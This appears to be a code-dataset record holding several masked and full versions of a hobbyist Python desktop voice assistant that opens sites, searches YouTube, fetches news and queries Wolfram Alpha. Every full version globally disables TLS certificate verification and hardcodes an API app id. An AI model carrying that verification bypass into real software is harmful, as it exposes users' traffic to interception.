pgo.delete()\n \n \n ", "step-ids": [ 4, 5, 6, 7, 8 ] }
[ 4, 5, 6, 7, 8 ]
<|reserved_special_token_0|> class MyFrame(wx.Frame): def __init__(self): wx.Frame.__init__(self, None, pos=wx.DefaultPosition, size=wx.Size( 450, 100), style=wx.MINIMIZE_BOX | wx.SYSTEM_MENU | wx.CAPTION | wx.CLOSE_BOX | wx.CLIP_CHILDREN, title='Assistant') panel = wx.Panel(self) my_sizer = wx.BoxSizer(wx.VERTICAL) lbl = wx.StaticText(panel, label='Hello Sir. How can I help you?') my_sizer.Add(lbl, 0, wx.ALL, 5) self.txt = wx.TextCtrl(panel, style=wx.TE_PROCESS_ENTER, size=(400, 30) ) self.txt.SetFocus() self.txt.Bind(wx.EVT_TEXT_ENTER, self.OnEnter) my_sizer.Add(self.txt, 0, wx.ALL, 5) panel.SetSizer(my_sizer) self.Show() speak.say('Welcome back Sir, Your assistant at your service.') speak.runAndWait() def OnEnter(self, event): put = self.txt.GetValue() put = put.lower() link = put.split() r = sr.Recognizer() if put == '': with sr.Microphone() as src: r.adjust_for_ambient_noise(src) speak.say('Yes? How can I help You?') speak.runAndWait() audio = r.listen(src) try: put = r.recognize_google(audio) put = put.lower() link = put.split() self.txt.SetValue(put) except sr.UnknownValueError: print('Google Speech Recognition could not understand audio') except sr.RequestError as e: print('Could not request results from Google STT; {0}'. format(e)) except: print('Unknown exception occurred!') if put.startswith('open '): try: speak.say('opening ' + link[1]) speak.runAndWait() webbrowser.open('http://www.' + link[1] + '.com') except: print('Sorry, No Internet Connection!') elif put.startswith('play '): try: link = '+'.join(link[1:]) s = link.replace('+', ' ') query_string = urllib.parse.urlencode({'search_query': link}) html_content = urllib.request.urlopen( 'http://www.youtube.com/results?' + query_string) search_results = re.findall('href=\\"\\/watch\\?v=(.{11})', html_content.read().decode()) print('http://www.youtube.com/watch?v=' + search_results[0]) speak.say('playing ' + s) speak.runAndWait() webbrowser.open('http://www.youtube.com/watch?v=' + search_results[0]) except: print('Sorry, No internet connection!') elif put.startswith('search '): try: link = '+'.join(link[1:]) say = link.replace('+', ' ') speak.say('searching on google for ' + say) speak.runAndWait() webbrowser.open('https://www.google.co.in/search?q=' + link) except: print('Sorry, No internet connection!') elif put.startswith('empty '): try: winshell.recycle_bin().empty(confirm=False, show_progress= False, sound=True) speak.say('Recycle Bin Empty') speak.runAndWait() except: speak.say('Unknown Error') speak.runAndWait() elif put.startswith('science '): try: jsonObj = urlopen( 'https://newsapi.org/v1/articles?source=new-scientist&sortBy=top&apiKey=your_API_here' ) data = json.load(jsonObj) i = 1 speak.say('Here are some top science news from new scientist') speak.runAndWait() print( """ ================NEW SCIENTIST============= """ + '\n') for item in data['articles']: print(str(i) + '. ' + item['title'] + '\n') print(item['description'] + '\n') i += 1 except: print('Sorry, No internet connection') elif put.startswith('headlines '): try: jsonObj = urlopen( 'https://newsapi.org/v1/articles?source=the-times-of-india&sortBy=top&apiKey=your_API_here' ) data = json.load(jsonObj) i = 1 speak.say('Here are some top news from the times of india') speak.runAndWait() print( ' ===============TIMES OF INDIA============' + '\n') for item in data['articles']: print(str(i) + '. ' + item['title'] + '\n') print(item['description'] + '\n') i += 1 except Exception as e: print(str(e)) elif put.startswith('lock '): try: speak.say('locking the device') speak.runAndWait() ctypes.windll.user32.LockWorkStation() except Exception as e: print(str(e)) elif put.endswith('bored'): try: speak.say( """Sir, I'm playing a video. Hope you like it""" ) speak.runAndWait() video = random.choice(videos) os.startfile(video) except Exception as e: print(str(e)) elif put.startswith('whats up'): try: speak.say( 'Nothing much, just trying to become the perfect assistant!' ) speak.runAndWait() except Exception as e: print(str(e)) elif put.startswith('show stocks'): try: Regression.execute() except Exception as e: print(str(e)) else: try: client = wolframalpha.Client(app_id) res = client.query(put) ans = next(res.results).text print(ans) speak.say(ans) speak.runAndWait() except: put = put.split() put = ' '.join(put[:]) print(wikipedia.summary(put)) speak.say('Searched google for ' + put) speak.runAndWait() webbrowser.open('https://www.google.co.in/search?q=' + put) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> requests.packages.urllib3.disable_warnings() try: _create_unverified_https_context = ssl._create_unverified_context except AttributeError: pass else: ssl._create_default_https_context = _create_unverified_https_context <|reserved_special_token_0|> speak.setProperty('voice', voice.id) <|reserved_special_token_0|> class MyFrame(wx.Frame): def __init__(self): wx.Frame.__init__(self, None, pos=wx.DefaultPosition, size=wx.Size( 450, 100), style=wx.MINIMIZE_BOX | wx.SYSTEM_MENU | wx.CAPTION | wx.CLOSE_BOX | wx.CLIP_CHILDREN, title='Assistant') panel = wx.Panel(self) my_sizer = wx.BoxSizer(wx.VERTICAL) lbl = wx.StaticText(panel, label='Hello Sir. How can I help you?') my_sizer.Add(lbl, 0, wx.ALL, 5) self.txt = wx.TextCtrl(panel, style=wx.TE_PROCESS_ENTER, size=(400, 30) ) self.txt.SetFocus() self.txt.Bind(wx.EVT_TEXT_ENTER, self.OnEnter) my_sizer.Add(self.txt, 0, wx.ALL, 5) panel.SetSizer(my_sizer) self.Show() speak.say('Welcome back Sir, Your assistant at your service.') speak.runAndWait() def OnEnter(self, event): put = self.txt.GetValue() put = put.lower() link = put.split() r = sr.Recognizer() if put == '': with sr.Microphone() as src: r.adjust_for_ambient_noise(src) speak.say('Yes? How can I help You?') speak.runAndWait() audio = r.listen(src) try: put = r.recognize_google(audio) put = put.lower() link = put.split() self.txt.SetValue(put) except sr.UnknownValueError: print('Google Speech Recognition could not understand audio') except sr.RequestError as e: print('Could not request results from Google STT; {0}'. format(e)) except: print('Unknown exception occurred!') if put.startswith('open '): try: speak.say('opening ' + link[1]) speak.runAndWait() webbrowser.open('http://www.' + link[1] + '.com') except: print('Sorry, No Internet Connection!') elif put.startswith('play '): try: link = '+'.join(link[1:]) s = link.replace('+', ' ') query_string = urllib.parse.urlencode({'search_query': link}) html_content = urllib.request.urlopen( 'http://www.youtube.com/results?' + query_string) search_results = re.findall('href=\\"\\/watch\\?v=(.{11})', html_content.read().decode()) print('http://www.youtube.com/watch?v=' + search_results[0]) speak.say('playing ' + s) speak.runAndWait() webbrowser.open('http://www.youtube.com/watch?v=' + search_results[0]) except: print('Sorry, No internet connection!') elif put.startswith('search '): try: link = '+'.join(link[1:]) say = link.replace('+', ' ') speak.say('searching on google for ' + say) speak.runAndWait() webbrowser.open('https://www.google.co.in/search?q=' + link) except: print('Sorry, No internet connection!') elif put.startswith('empty '): try: winshell.recycle_bin().empty(confirm=False, show_progress= False, sound=True) speak.say('Recycle Bin Empty') speak.runAndWait() except: speak.say('Unknown Error') speak.runAndWait() elif put.startswith('science '): try: jsonObj = urlopen( 'https://newsapi.org/v1/articles?source=new-scientist&sortBy=top&apiKey=your_API_here' ) data = json.load(jsonObj) i = 1 speak.say('Here are some top science news from new scientist') speak.runAndWait() print( """ ================NEW SCIENTIST============= """ + '\n') for item in data['articles']: print(str(i) + '. ' + item['title'] + '\n') print(item['description'] + '\n') i += 1 except: print('Sorry, No internet connection') elif put.startswith('headlines '): try: jsonObj = urlopen( 'https://newsapi.org/v1/articles?source=the-times-of-india&sortBy=top&apiKey=your_API_here' ) data = json.load(jsonObj) i = 1 speak.say('Here are some top news from the times of india') speak.runAndWait() print( ' ===============TIMES OF INDIA============' + '\n') for item in data['articles']: print(str(i) + '. ' + item['title'] + '\n') print(item['description'] + '\n') i += 1 except Exception as e: print(str(e)) elif put.startswith('lock '): try: speak.say('locking the device') speak.runAndWait() ctypes.windll.user32.LockWorkStation() except Exception as e: print(str(e)) elif put.endswith('bored'): try: speak.say( """Sir, I'm playing a video. Hope you like it""" ) speak.runAndWait() video = random.choice(videos) os.startfile(video) except Exception as e: print(str(e)) elif put.startswith('whats up'): try: speak.say( 'Nothing much, just trying to become the perfect assistant!' ) speak.runAndWait() except Exception as e: print(str(e)) elif put.startswith('show stocks'): try: Regression.execute() except Exception as e: print(str(e)) else: try: client = wolframalpha.Client(app_id) res = client.query(put) ans = next(res.results).text print(ans) speak.say(ans) speak.runAndWait() except: put = put.split() put = ' '.join(put[:]) print(wikipedia.summary(put)) speak.say('Searched google for ' + put) speak.runAndWait() webbrowser.open('https://www.google.co.in/search?q=' + put) if __name__ == '__main__': app = wx.App(True) frame = MyFrame() app.MainLoop() <|reserved_special_token_1|> <|reserved_special_token_0|> requests.packages.urllib3.disable_warnings() try: _create_unverified_https_context = ssl._create_unverified_context except AttributeError: pass else: ssl._create_default_https_context = _create_unverified_https_context headers = { """user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36""" } speak = pyttsx3.init() voices = speak.getProperty('voices') voice = voices[1] speak.setProperty('voice', voice.id) videos = ['C:\\Users\\nEW u\\Videos\\Um4WR.mkv', 'C:\\Users\\nEW u\\Videos\\Jaatishwar.mkv'] app_id = 'GY6T92-YG5RXA85AV' class MyFrame(wx.Frame): def __init__(self): wx.Frame.__init__(self, None, pos=wx.DefaultPosition, size=wx.Size( 450, 100), style=wx.MINIMIZE_BOX | wx.SYSTEM_MENU | wx.CAPTION | wx.CLOSE_BOX | wx.CLIP_CHILDREN, title='Assistant') panel = wx.Panel(self) my_sizer = wx.BoxSizer(wx.VERTICAL) lbl = wx.StaticText(panel, label='Hello Sir. How can I help you?') my_sizer.Add(lbl, 0, wx.ALL, 5) self.txt = wx.TextCtrl(panel, style=wx.TE_PROCESS_ENTER, size=(400, 30) ) self.txt.SetFocus() self.txt.Bind(wx.EVT_TEXT_ENTER, self.OnEnter) my_sizer.Add(self.txt, 0, wx.ALL, 5) panel.SetSizer(my_sizer) self.Show() speak.say('Welcome back Sir, Your assistant at your service.') speak.runAndWait() def OnEnter(self, event): put = self.txt.GetValue() put = put.lower() link = put.split() r = sr.Recognizer() if put == '': with sr.Microphone() as src: r.adjust_for_ambient_noise(src) speak.say('Yes? How can I help You?') speak.runAndWait() audio = r.listen(src) try: put = r.recognize_google(audio) put = put.lower() link = put.split() self.txt.SetValue(put) except sr.UnknownValueError: print('Google Speech Recognition could not understand audio') except sr.RequestError as e: print('Could not request results from Google STT; {0}'. format(e)) except: print('Unknown exception occurred!') if put.startswith('open '): try: speak.say('opening ' + link[1]) speak.runAndWait() webbrowser.open('http://www.' + link[1] + '.com') except: print('Sorry, No Internet Connection!') elif put.startswith('play '): try: link = '+'.join(link[1:]) s = link.replace('+', ' ') query_string = urllib.parse.urlencode({'search_query': link}) html_content = urllib.request.urlopen( 'http://www.youtube.com/results?' + query_string) search_results = re.findall('href=\\"\\/watch\\?v=(.{11})', html_content.read().decode()) print('http://www.youtube.com/watch?v=' + search_results[0]) speak.say('playing ' + s) speak.runAndWait() webbrowser.open('http://www.youtube.com/watch?v=' + search_results[0]) except: print('Sorry, No internet connection!') elif put.startswith('search '): try: link = '+'.join(link[1:]) say = link.replace('+', ' ') speak.say('searching on google for ' + say) speak.runAndWait() webbrowser.open('https://www.google.co.in/search?q=' + link) except: print('Sorry, No internet connection!') elif put.startswith('empty '): try: winshell.recycle_bin().empty(confirm=False, show_progress= False, sound=True) speak.say('Recycle Bin Empty') speak.runAndWait() except: speak.say('Unknown Error') speak.runAndWait() elif put.startswith('science '): try: jsonObj = urlopen( 'https://newsapi.org/v1/articles?source=new-scientist&sortBy=top&apiKey=your_API_here' ) data = json.load(jsonObj) i = 1 speak.say('Here are some top science news from new scientist') speak.runAndWait() print( """ ================NEW SCIENTIST============= """ + '\n') for item in data['articles']: print(str(i) + '. ' + item['title'] + '\n') print(item['description'] + '\n') i += 1 except: print('Sorry, No internet connection') elif put.startswith('headlines '): try: jsonObj = urlopen( 'https://newsapi.org/v1/articles?source=the-times-of-india&sortBy=top&apiKey=your_API_here' ) data = json.load(jsonObj) i = 1 speak.say('Here are some top news from the times of india') speak.runAndWait() print( ' ===============TIMES OF INDIA============' + '\n') for item in data['articles']: print(str(i) + '. ' + item['title'] + '\n') print(item['description'] + '\n') i += 1 except Exception as e: print(str(e)) elif put.startswith('lock '): try: speak.say('locking the device') speak.runAndWait() ctypes.windll.user32.LockWorkStation() except Exception as e: print(str(e)) elif put.endswith('bored'): try: speak.say( """Sir, I'm playing a video. Hope you like it""" ) speak.runAndWait() video = random.choice(videos) os.startfile(video) except Exception as e: print(str(e)) elif put.startswith('whats up'): try: speak.say( 'Nothing much, just trying to become the perfect assistant!' ) speak.runAndWait() except Exception as e: print(str(e)) elif put.startswith('show stocks'): try: Regression.execute() except Exception as e: print(str(e)) else: try: client = wolframalpha.Client(app_id) res = client.query(put) ans = next(res.results).text print(ans) speak.say(ans) speak.runAndWait() except: put = put.split() put = ' '.join(put[:]) print(wikipedia.summary(put)) speak.say('Searched google for ' + put) speak.runAndWait() webbrowser.open('https://www.google.co.in/search?q=' + put) if __name__ == '__main__': app = wx.App(True) frame = MyFrame() app.MainLoop() <|reserved_special_token_1|> import wx import os import wikipedia import wolframalpha import pyttsx3 import webbrowser import winshell import json import requests import ctypes import random from urllib.request import urlopen import speech_recognition as sr import ssl import urllib.request import urllib.parse import re from regression import Regression requests.packages.urllib3.disable_warnings() try: _create_unverified_https_context = ssl._create_unverified_context except AttributeError: pass else: ssl._create_default_https_context = _create_unverified_https_context headers = { """user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36""" } speak = pyttsx3.init() voices = speak.getProperty('voices') voice = voices[1] speak.setProperty('voice', voice.id) videos = ['C:\\Users\\nEW u\\Videos\\Um4WR.mkv', 'C:\\Users\\nEW u\\Videos\\Jaatishwar.mkv'] app_id = 'GY6T92-YG5RXA85AV' class MyFrame(wx.Frame): def __init__(self): wx.Frame.__init__(self, None, pos=wx.DefaultPosition, size=wx.Size( 450, 100), style=wx.MINIMIZE_BOX | wx.SYSTEM_MENU | wx.CAPTION | wx.CLOSE_BOX | wx.CLIP_CHILDREN, title='Assistant') panel = wx.Panel(self) my_sizer = wx.BoxSizer(wx.VERTICAL) lbl = wx.StaticText(panel, label='Hello Sir. How can I help you?') my_sizer.Add(lbl, 0, wx.ALL, 5) self.txt = wx.TextCtrl(panel, style=wx.TE_PROCESS_ENTER, size=(400, 30) ) self.txt.SetFocus() self.txt.Bind(wx.EVT_TEXT_ENTER, self.OnEnter) my_sizer.Add(self.txt, 0, wx.ALL, 5) panel.SetSizer(my_sizer) self.Show() speak.say('Welcome back Sir, Your assistant at your service.') speak.runAndWait() def OnEnter(self, event): put = self.txt.GetValue() put = put.lower() link = put.split() r = sr.Recognizer() if put == '': with sr.Microphone() as src: r.adjust_for_ambient_noise(src) speak.say('Yes? How can I help You?') speak.runAndWait() audio = r.listen(src) try: put = r.recognize_google(audio) put = put.lower() link = put.split() self.txt.SetValue(put) except sr.UnknownValueError: print('Google Speech Recognition could not understand audio') except sr.RequestError as e: print('Could not request results from Google STT; {0}'. format(e)) except: print('Unknown exception occurred!') if put.startswith('open '): try: speak.say('opening ' + link[1]) speak.runAndWait() webbrowser.open('http://www.' + link[1] + '.com') except: print('Sorry, No Internet Connection!') elif put.startswith('play '): try: link = '+'.join(link[1:]) s = link.replace('+', ' ') query_string = urllib.parse.urlencode({'search_query': link}) html_content = urllib.request.urlopen( 'http://www.youtube.com/results?' + query_string) search_results = re.findall('href=\\"\\/watch\\?v=(.{11})', html_content.read().decode()) print('http://www.youtube.com/watch?v=' + search_results[0]) speak.say('playing ' + s) speak.runAndWait() webbrowser.open('http://www.youtube.com/watch?v=' + search_results[0]) except: print('Sorry, No internet connection!') elif put.startswith('search '): try: link = '+'.join(link[1:]) say = link.replace('+', ' ') speak.say('searching on google for ' + say) speak.runAndWait() webbrowser.open('https://www.google.co.in/search?q=' + link) except: print('Sorry, No internet connection!') elif put.startswith('empty '): try: winshell.recycle_bin().empty(confirm=False, show_progress= False, sound=True) speak.say('Recycle Bin Empty') speak.runAndWait() except: speak.say('Unknown Error') speak.runAndWait() elif put.startswith('science '): try: jsonObj = urlopen( 'https://newsapi.org/v1/articles?source=new-scientist&sortBy=top&apiKey=your_API_here' ) data = json.load(jsonObj) i = 1 speak.say('Here are some top science news from new scientist') speak.runAndWait() print( """ ================NEW SCIENTIST============= """ + '\n') for item in data['articles']: print(str(i) + '. ' + item['title'] + '\n') print(item['description'] + '\n') i += 1 except: print('Sorry, No internet connection') elif put.startswith('headlines '): try: jsonObj = urlopen( 'https://newsapi.org/v1/articles?source=the-times-of-india&sortBy=top&apiKey=your_API_here' ) data = json.load(jsonObj) i = 1 speak.say('Here are some top news from the times of india') speak.runAndWait() print( ' ===============TIMES OF INDIA============' + '\n') for item in data['articles']: print(str(i) + '. ' + item['title'] + '\n') print(item['description'] + '\n') i += 1 except Exception as e: print(str(e)) elif put.startswith('lock '): try: speak.say('locking the device') speak.runAndWait() ctypes.windll.user32.LockWorkStation() except Exception as e: print(str(e)) elif put.endswith('bored'): try: speak.say( """Sir, I'm playing a video. Hope you like it""" ) speak.runAndWait() video = random.choice(videos) os.startfile(video) except Exception as e: print(str(e)) elif put.startswith('whats up'): try: speak.say( 'Nothing much, just trying to become the perfect assistant!' ) speak.runAndWait() except Exception as e: print(str(e)) elif put.startswith('show stocks'): try: Regression.execute() except Exception as e: print(str(e)) else: try: client = wolframalpha.Client(app_id) res = client.query(put) ans = next(res.results).text print(ans) speak.say(ans) speak.runAndWait() except: put = put.split() put = ' '.join(put[:]) print(wikipedia.summary(put)) speak.say('Searched google for ' + put) speak.runAndWait() webbrowser.open('https://www.google.co.in/search?q=' + put) if __name__ == '__main__': app = wx.App(True) frame = MyFrame() app.MainLoop() <|reserved_special_token_1|> import wx import os # os.environ["HTTPS_PROXY"] = "http://user:pass@192.168.1.107:3128" import wikipedia import wolframalpha import pyttsx3 import webbrowser import winshell import json import requests import ctypes import random from urllib.request import urlopen import speech_recognition as sr import ssl import urllib.request import urllib.parse import re from regression import Regression # Remove SSL error requests.packages.urllib3.disable_warnings() try: _create_unverified_https_context = ssl._create_unverified_context except AttributeError: # Legacy Python that doesn't verify HTTPS certificates by default pass else: # Handle target environment that doesn't support HTTPS verification ssl._create_default_https_context = _create_unverified_https_context headers = {'''user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36'''} #speak = wincl.Dispatch("SAPI.SpVoice") speak = pyttsx3.init() voices = speak.getProperty('voices') voice = voices[1] speak.setProperty('voice', voice.id) # Requirements videos = ['C:\\Users\\nEW u\\Videos\\Um4WR.mkv', 'C:\\Users\\nEW u\\Videos\\Jaatishwar.mkv'] app_id = 'GY6T92-YG5RXA85AV' # GUI creation class MyFrame(wx.Frame): def __init__(self): wx.Frame.__init__(self, None, pos=wx.DefaultPosition, size=wx.Size(450, 100), style=wx.MINIMIZE_BOX | wx.SYSTEM_MENU | wx.CAPTION | wx.CLOSE_BOX | wx.CLIP_CHILDREN, title="Assistant") panel = wx.Panel(self) #ico = wx.Icon('programming.jpg', type=wx.ICON_ASTERISK, desiredWidth=-1, desiredHeight=-1) #self.SetIcon(ico) my_sizer = wx.BoxSizer(wx.VERTICAL) lbl = wx.StaticText(panel, label="Hello Sir. How can I help you?") my_sizer.Add(lbl, 0, wx.ALL, 5) self.txt = wx.TextCtrl(panel, style=wx.TE_PROCESS_ENTER, size=(400, 30)) self.txt.SetFocus() self.txt.Bind(wx.EVT_TEXT_ENTER, self.OnEnter) my_sizer.Add(self.txt, 0, wx.ALL, 5) panel.SetSizer(my_sizer) self.Show() speak.say('''Welcome back Sir, Your assistant at your service.''') speak.runAndWait() def OnEnter(self, event): put = self.txt.GetValue() put = put.lower() link = put.split() r = sr.Recognizer() if put == '': with sr.Microphone() as src: r.adjust_for_ambient_noise(src) speak.say("Yes? How can I help You?") speak.runAndWait() audio = r.listen(src) try: put = r.recognize_google(audio) put = put.lower() link = put.split() self.txt.SetValue(put) except sr.UnknownValueError: print("Google Speech Recognition could not understand audio") except sr.RequestError as e: print("Could not request results from Google STT; {0}".format(e)) except: print("Unknown exception occurred!") # Open a webpage if put.startswith('open '): try: speak.say("opening "+link[1]) speak.runAndWait() webbrowser.open('http://www.'+link[1]+'.com') except: print('Sorry, No Internet Connection!') # Play Song on Youtube elif put.startswith('play '): try: link = '+'.join(link[1:]) s = link.replace('+', ' ') query_string = urllib.parse.urlencode({"search_query" : link}) html_content = urllib.request.urlopen("http://www.youtube.com/results?" + query_string) search_results = re.findall(r'href=\"\/watch\?v=(.{11})', html_content.read().decode()) print("http://www.youtube.com/watch?v=" + search_results[0]) speak.say("playing "+s) speak.runAndWait() webbrowser.open("http://www.youtube.com/watch?v=" + search_results[0]) except: print('Sorry, No internet connection!') # Google Search elif put.startswith('search '): try: link = '+'.join(link[1:]) say = link.replace('+', ' ') speak.say("searching on google for "+say) speak.runAndWait() webbrowser.open('https://www.google.co.in/search?q='+link) except: print('Sorry, No internet connection!') # Empty Recycle bin elif put.startswith('empty '): try: winshell.recycle_bin().empty(confirm=False, show_progress=False, sound=True) speak.say("Recycle Bin Empty") speak.runAndWait() except: speak.say("Unknown Error") speak.runAndWait() # News elif put.startswith('science '): try: jsonObj = urlopen('''https://newsapi.org/v1/articles?source=new-scientist&sortBy=top&apiKey=your_API_here''') data = json.load(jsonObj) i = 1 speak.say('''Here are some top science news from new scientist''') speak.runAndWait() print(''' ================NEW SCIENTIST============= '''+'\n') for item in data['articles']: print(str(i)+'. '+item['title']+'\n') print(item['description']+'\n') i += 1 except: print('Sorry, No internet connection') elif put.startswith('headlines '): try: jsonObj = urlopen('''https://newsapi.org/v1/articles?source=the-times-of-india&sortBy=top&apiKey=your_API_here''') data = json.load(jsonObj) i = 1 speak.say('Here are some top news from the times of india') speak.runAndWait() print(''' ===============TIMES OF INDIA============''' +'\n') for item in data['articles']: print(str(i)+'. '+item['title']+'\n') print(item['description']+'\n') i += 1 except Exception as e: print(str(e)) # Lock the device elif put.startswith('lock '): try: speak.say("locking the device") speak.runAndWait() ctypes.windll.user32.LockWorkStation() except Exception as e: print(str(e)) # Play videos in boredom elif put.endswith('bored'): try: speak.say('''Sir, I\'m playing a video. Hope you like it''') speak.runAndWait() video = random.choice(videos) os.startfile(video) except Exception as e: print(str(e)) # Say Whats up elif put.startswith('whats up'): try: speak.say('''Nothing much, just trying to become the perfect assistant!''') speak.runAndWait() except Exception as e: print(str(e)) #Show stocks elif put.startswith('show stocks'): try: Regression.execute() except Exception as e: print(str(e)) # Other Cases else: try: # wolframalpha client = wolframalpha.Client(app_id) res = client.query(put) ans = next(res.results).text print(ans) speak.say(ans) speak.runAndWait() except: # wikipedia/google put = put.split() put = ' '.join(put[:]) #print(put) print(wikipedia.summary(put)) speak.say('Searched google for '+put) speak.runAndWait() webbrowser.open('https://www.google.co.in/search?q='+put) # Trigger GUI if __name__ == "__main__": app = wx.App(True) frame = MyFrame() app.MainLoop()
flexible
{ "blob_id": "8f1e6ea93b2dd7add256cb31d2c621aa69721609", "index": 8834, "step-1": "<mask token>\n\n\nclass MyFrame(wx.Frame):\n\n def __init__(self):\n wx.Frame.__init__(self, None, pos=wx.DefaultPosition, size=wx.Size(\n 450, 100), style=wx.MINIMIZE_BOX | wx.SYSTEM_MENU | wx.CAPTION |\n wx.CLOSE_BOX | wx.CLIP_CHILDREN, title='Assistant')\n panel = wx.Panel(self)\n my_sizer = wx.BoxSizer(wx.VERTICAL)\n lbl = wx.StaticText(panel, label='Hello Sir. How can I help you?')\n my_sizer.Add(lbl, 0, wx.ALL, 5)\n self.txt = wx.TextCtrl(panel, style=wx.TE_PROCESS_ENTER, size=(400, 30)\n )\n self.txt.SetFocus()\n self.txt.Bind(wx.EVT_TEXT_ENTER, self.OnEnter)\n my_sizer.Add(self.txt, 0, wx.ALL, 5)\n panel.SetSizer(my_sizer)\n self.Show()\n speak.say('Welcome back Sir, Your assistant at your service.')\n speak.runAndWait()\n\n def OnEnter(self, event):\n put = self.txt.GetValue()\n put = put.lower()\n link = put.split()\n r = sr.Recognizer()\n if put == '':\n with sr.Microphone() as src:\n r.adjust_for_ambient_noise(src)\n speak.say('Yes? How can I help You?')\n speak.runAndWait()\n audio = r.listen(src)\n try:\n put = r.recognize_google(audio)\n put = put.lower()\n link = put.split()\n self.txt.SetValue(put)\n except sr.UnknownValueError:\n print('Google Speech Recognition could not understand audio')\n except sr.RequestError as e:\n print('Could not request results from Google STT; {0}'.\n format(e))\n except:\n print('Unknown exception occurred!')\n if put.startswith('open '):\n try:\n speak.say('opening ' + link[1])\n speak.runAndWait()\n webbrowser.open('http://www.' + link[1] + '.com')\n except:\n print('Sorry, No Internet Connection!')\n elif put.startswith('play '):\n try:\n link = '+'.join(link[1:])\n s = link.replace('+', ' ')\n query_string = urllib.parse.urlencode({'search_query': link})\n html_content = urllib.request.urlopen(\n 'http://www.youtube.com/results?' + query_string)\n search_results = re.findall('href=\\\\\"\\\\/watch\\\\?v=(.{11})',\n html_content.read().decode())\n print('http://www.youtube.com/watch?v=' + search_results[0])\n speak.say('playing ' + s)\n speak.runAndWait()\n webbrowser.open('http://www.youtube.com/watch?v=' +\n search_results[0])\n except:\n print('Sorry, No internet connection!')\n elif put.startswith('search '):\n try:\n link = '+'.join(link[1:])\n say = link.replace('+', ' ')\n speak.say('searching on google for ' + say)\n speak.runAndWait()\n webbrowser.open('https://www.google.co.in/search?q=' + link)\n except:\n print('Sorry, No internet connection!')\n elif put.startswith('empty '):\n try:\n winshell.recycle_bin().empty(confirm=False, show_progress=\n False, sound=True)\n speak.say('Recycle Bin Empty')\n speak.runAndWait()\n except:\n speak.say('Unknown Error')\n speak.runAndWait()\n elif put.startswith('science '):\n try:\n jsonObj = urlopen(\n 'https://newsapi.org/v1/articles?source=new-scientist&sortBy=top&apiKey=your_API_here'\n )\n data = json.load(jsonObj)\n i = 1\n speak.say('Here are some top science news from new scientist')\n speak.runAndWait()\n print(\n \"\"\" ================NEW SCIENTIST=============\n \"\"\"\n + '\\n')\n for item in data['articles']:\n print(str(i) + '. ' + item['title'] + '\\n')\n print(item['description'] + '\\n')\n i += 1\n except:\n print('Sorry, No internet connection')\n elif put.startswith('headlines '):\n try:\n jsonObj = urlopen(\n 'https://newsapi.org/v1/articles?source=the-times-of-india&sortBy=top&apiKey=your_API_here'\n )\n data = json.load(jsonObj)\n i = 1\n speak.say('Here are some top news from the times of india')\n speak.runAndWait()\n print(\n ' ===============TIMES OF INDIA============' +\n '\\n')\n for item in data['articles']:\n print(str(i) + '. ' + item['title'] + '\\n')\n print(item['description'] + '\\n')\n i += 1\n except Exception as e:\n print(str(e))\n elif put.startswith('lock '):\n try:\n speak.say('locking the device')\n speak.runAndWait()\n ctypes.windll.user32.LockWorkStation()\n except Exception as e:\n print(str(e))\n elif put.endswith('bored'):\n try:\n speak.say(\n \"\"\"Sir, I'm playing a video.\n Hope you like it\"\"\"\n )\n speak.runAndWait()\n video = random.choice(videos)\n os.startfile(video)\n except Exception as e:\n print(str(e))\n elif put.startswith('whats up'):\n try:\n speak.say(\n 'Nothing much, just trying to become the perfect assistant!'\n )\n speak.runAndWait()\n except Exception as e:\n print(str(e))\n elif put.startswith('show stocks'):\n try:\n Regression.execute()\n except Exception as e:\n print(str(e))\n else:\n try:\n client = wolframalpha.Client(app_id)\n res = client.query(put)\n ans = next(res.results).text\n print(ans)\n speak.say(ans)\n speak.runAndWait()\n except:\n put = put.split()\n put = ' '.join(put[:])\n print(wikipedia.summary(put))\n speak.say('Searched google for ' + put)\n speak.runAndWait()\n webbrowser.open('https://www.google.co.in/search?q=' + put)\n\n\n<mask token>\n", "step-2": "<mask token>\nrequests.packages.urllib3.disable_warnings()\ntry:\n _create_unverified_https_context = ssl._create_unverified_context\nexcept AttributeError:\n pass\nelse:\n ssl._create_default_https_context = _create_unverified_https_context\n<mask token>\nspeak.setProperty('voice', voice.id)\n<mask token>\n\n\nclass MyFrame(wx.Frame):\n\n def __init__(self):\n wx.Frame.__init__(self, None, pos=wx.DefaultPosition, size=wx.Size(\n 450, 100), style=wx.MINIMIZE_BOX | wx.SYSTEM_MENU | wx.CAPTION |\n wx.CLOSE_BOX | wx.CLIP_CHILDREN, title='Assistant')\n panel = wx.Panel(self)\n my_sizer = wx.BoxSizer(wx.VERTICAL)\n lbl = wx.StaticText(panel, label='Hello Sir. How can I help you?')\n my_sizer.Add(lbl, 0, wx.ALL, 5)\n self.txt = wx.TextCtrl(panel, style=wx.TE_PROCESS_ENTER, size=(400, 30)\n )\n self.txt.SetFocus()\n self.txt.Bind(wx.EVT_TEXT_ENTER, self.OnEnter)\n my_sizer.Add(self.txt, 0, wx.ALL, 5)\n panel.SetSizer(my_sizer)\n self.Show()\n speak.say('Welcome back Sir, Your assistant at your service.')\n speak.runAndWait()\n\n def OnEnter(self, event):\n put = self.txt.GetValue()\n put = put.lower()\n link = put.split()\n r = sr.Recognizer()\n if put == '':\n with sr.Microphone() as src:\n r.adjust_for_ambient_noise(src)\n speak.say('Yes? How can I help You?')\n speak.runAndWait()\n audio = r.listen(src)\n try:\n put = r.recognize_google(audio)\n put = put.lower()\n link = put.split()\n self.txt.SetValue(put)\n except sr.UnknownValueError:\n print('Google Speech Recognition could not understand audio')\n except sr.RequestError as e:\n print('Could not request results from Google STT; {0}'.\n format(e))\n except:\n print('Unknown exception occurred!')\n if put.startswith('open '):\n try:\n speak.say('opening ' + link[1])\n speak.runAndWait()\n webbrowser.open('http://www.' + link[1] + '.com')\n except:\n print('Sorry, No Internet Connection!')\n elif put.startswith('play '):\n try:\n link = '+'.join(link[1:])\n s = link.replace('+', ' ')\n query_string = urllib.parse.urlencode({'search_query': link})\n html_content = 